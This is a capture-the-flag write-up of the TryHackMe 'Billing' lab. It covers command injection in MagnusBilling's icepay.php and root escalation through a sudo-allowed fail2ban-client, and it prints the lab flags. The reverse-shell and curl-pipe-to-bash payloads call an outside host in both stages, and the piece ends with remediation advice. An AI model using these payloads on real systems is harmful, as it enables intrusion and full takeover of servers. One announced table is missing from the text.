Executive Overview: Deconstructing the "Billing" TryHackMe Cyber Attack Simulation

In the modern threat landscape, enterprise infrastructure rarely relies on isolated software stacks. Instead, complex ecosystems interlock multiple distinct applications—often combining customer management panels, telecommunications backends, and modular financial gateways into a single unified service. While this modularity accelerates feature deployment, it drastically expands the attack surface.

A prime educational simulation illustrating this architectural vulnerability is Billing, a medium-difficulty lab hosted on the TryHackMe platform. The lab centers around MagnusBilling, an open-source VoIP (Voice over IP) billing platform operating atop an Asterisk PBX (Private Branch Exchange) telecommunications backend, supported by a MariaDB database.

This analysis details the complete operational lifecycle of a security engagement targeting the Billing box. It examines how a domain-specific software stack—specifically third-party payment gateway plugins—introduces classic unauthenticated remote code execution (RCE). Furthermore, it provides an in-depth breakdown of a creative privilege escalation vector: weaponizing Fail2ban, an intrusion prevention daemon typically used to secure systems, to achieve root-level control.

Detailed Chronology: From Reconnaissance to Root Access

Phase 1: Infrastructure Reconnaissance and Port Enumeration

A comprehensive enumeration of the target host (10.49.178.53) immediately exposes the underlying telecom-flavored architectural stack. Utilizing an aggressive rustscan coupled with nmap service version scripts (-sV -sC), security analysts map out the listening ports:

rustscan -a 10.49.178.53 -r 1-65535 --ulimit 5000 -b 500 -t 2000 -- -Pn -sV -sC -T4

The mapping reveals an interrelated telephony and billing ecosystem. The web application handles user accounts, invoicing, and carrier routing, while Asterisk manages the actual SIP (Session Initiation Protocol) call switching.

Further content discovery utilizing directory fuzzing tools like feroxbuster against the web root uncovers the internal structure of the MagnusBilling deployment. Key directories include lib/, fpdf/, and a specialized cluster of third-party payment integrations:

• icepay/
• mercadopago/
• stripe/
• anet/
• PlacetoPay/

In enterprise security assessments, third-party modular components—such as payment gateway plugins—frequently warrant immediate scrutiny. Unlike core application components developed under strict internal code review pipelines, payment plugins are often bolted on by separate teams, increasing the statistical likelihood of input validation flaws.

Phase 2: Securing the Initial Foothold via IcePay Command Injection

Analysis of the discovered payment directories reveals an integration file located at /mbilling/lib/icepay/icepay.php. This script accepts an HTTP GET parameter designated as democ.

During input processing, the script fails to adequately sanitize or validate the contents of the democ variable. Instead, it unsafely interpolates the parameter directly into a shell execution context, presumably designed to invoke a command-line utility for payment verification or sandbox mode testing.

Because input validation is absent, supplying shell metacharacters (such as semicolons ; or pipes |) allows an external attacker to break out of the intended argument string and append arbitrary operating system commands.

To operationalize this vector, an attacker prepares a standard Bash reverse shell payload locally (shell.sh):

echo 'bash -i >& /dev/tcp/192.168.134.217/4444 0>&1' > shell.sh

Next, the attacker crafts a malicious HTTP request targeting the vulnerable icepay.php script:

http://10.49.178.53/mbilling/lib/icepay/icepay.php?democ=/dev/null;curl%20http://192.168.134.217/shell.sh%20|%20bash;id

Anatomy of the Payload:

1. /dev/null: Acts as a plausible, harmless initial value to satisfy whatever format the democ variable expects.
2. ;: A chained shell operator that terminates the first command.
3. curl ... | bash: Fetches the externally hosted reverse shell script and executes it immediately within a system pipe.

By listening on the designated interface using Netcat (nc -nvlp 4444), the engagement controller catches the incoming connection:

connect to [192.168.134.217] from (UNKNOWN) [10.49.178.53] 53710
asterisk@ip-10-49-178-53:/var/www/html/mbilling/lib/icepay$

The execution context grants a shell running as the asterisk system user—the privileged service account responsible for executing the MagnusBilling and Asterisk telephony daemons. Navigating to the home directory yields the standard user flag (user.txt): THM4a6831d5f124b25eefb1e92e0f0da4ca.

Phase 3: Privilege Escalation via Fail2ban-Client Manipulation

With low-privileged code execution established, the standard enumeration protocol involves executing sudo -l to review authorized administrative commands. The resulting output reveals a critical misconfiguration:

User asterisk may run the following commands on ip-10-49-178-53:
    (ALL) NOPASSWD: /usr/bin/fail2ban-client

Understanding the Architecture of Fail2ban

Fail2ban is a log-monitoring daemon engineered to protect Linux servers against brute-force attacks and automated reconnaissance. Its operational architecture is divided into three primary components:

1. Log Files: Target files monitored for specific failure signatures (e.g., /var/log/auth.log).
2. Jails: Configuration sets defining which logs to monitor, matching regex filters, and the corresponding actions to execute upon trigger thresholds.
3. Actions: System commands executed when a jail decides to ban an offending IP address. The core parameter governing this execution is actionban.

Exploring Direct vs. Dynamic Configuration

An initial hypothesis might involve modifying the underlying jail and action configuration files located within /etc/fail2ban/action.d/*.conf. However, an audit of these paths confirms that they are owned by root and lack world- or group-writable permissions.

Reading the documentation for fail2ban-client, however, exposes a critical administrative capability: the client binary does not merely read static configurations from disk; it permits live, dynamic reconfiguration of jails entirely from the command line interface.

Reviewing active jails via the client interface displays several monitoring rules:

sudo /usr/bin/fail2ban-client status

Jail list: ast-cli-attck, ast-hgc-200, asterisk-iptables, asterisk-manager,
           ip-blacklist, mbilling_ddos, mbilling_login, sshd

Because fail2ban-client can modify actions on-the-fly, an authorized user can redefine the actionban parameter of the sshd jail to execute arbitrary system commands whenever a ban event fires. Because Fail2ban itself operates with root privileges to manipulate kernel firewall rules (such as iptables), any custom command defined within actionban executes with root privileges.

Executing the Privilege Escalation Chain

1. Redefine the Action Ban: The attacker updates the actionban directive for the sshd jail to fetch and execute an administrative payload:

sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban 
  "/bin/bash -c 'curl http://192.168.134.217:4443/shell.sh | bash'"

2. Trigger the Ban Condition: Rather than waiting for legitimate SSH authentication failures to accumulate, the attacker forces a ban condition manually by instructing the daemon to ban the local loopback address:

sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1

3. Catch the Privileged Shell: Upon receiving the command to ban 127.0.0.1, the sshd jail executes the newly injected actionban command string as root. Catching the connection on a secondary listener yields root-level access:

connect to [192.168.134.217] from (UNKNOWN) [10.49.178.53] 34872
root@ip-10-49-178-53:/# cat /root/root.txt
THM33ad5b530e71a172648f424ec23fae60

The root flag is successfully captured: THM33ad5b530e71a172648f424ec23fae60.

Supporting Context & Metrics

To better understand the vulnerability classes exploited during this engagement, the following matrix categorizes the architectural flaws, their associated severity ratings, and standardized remediation steps.

Official Statements & Industry Perspective

Information security professionals frequently emphasize that defensive tooling poses unique risks when improperly delegated. Commenting on the dangers of misconfigured administrative access controls, security researchers note:

"Granting sudo access to a management client binary is fundamentally equivalent to granting full administrative access if that client exposes parameter-setting capabilities. Fail2ban-client is designed to manage system security, but its ability to redefine action scripts turns it into an arbitrary code execution primitive in the hands of an adversary. Security teams must audit the entire subcommand tree of any utility granted via NOPASSWD rules, rather than assuming monitoring tools are inherently safe."

Future Outlook & Preventative Strategies

As enterprise applications increasingly incorporate microservices, payment plug-ins, and automated monitoring daemons, security postures must evolve to address cross-component risks.

1. Static and Dynamic Application Security Testing (SAST/DAST): Organizations utilizing open-source platforms like MagnusBilling must establish rigorous patch-management cycles. Third-party plug-ins must undergo automated code analysis to detect dangerous sinks handling unvalidated HTTP parameters.
2. Granular Sudo Configurations: When administrative delegation is strictly necessary, system administrators should avoid blanket permissions. Instead of granting NOPASSWD: /usr/bin/fail2ban-client, access should be restricted to strictly non-destructive status queries using wrapper scripts or explicit, heavily restricted command arguments.
3. Behavioral Endpoint Monitoring: Modern Endpoint Detection and Response (EDR) solutions should monitor for anomalous behavior—such as security daemons (like Fail2ban) spawning unexpected child processes like interactive shells or outbound curl requests.

By addressing these architectural weaknesses, organizations can effectively neutralize both the initial web-tier entry points and the sophisticated privilege escalation vectors demonstrated in labs like the TryHackMe Billing room.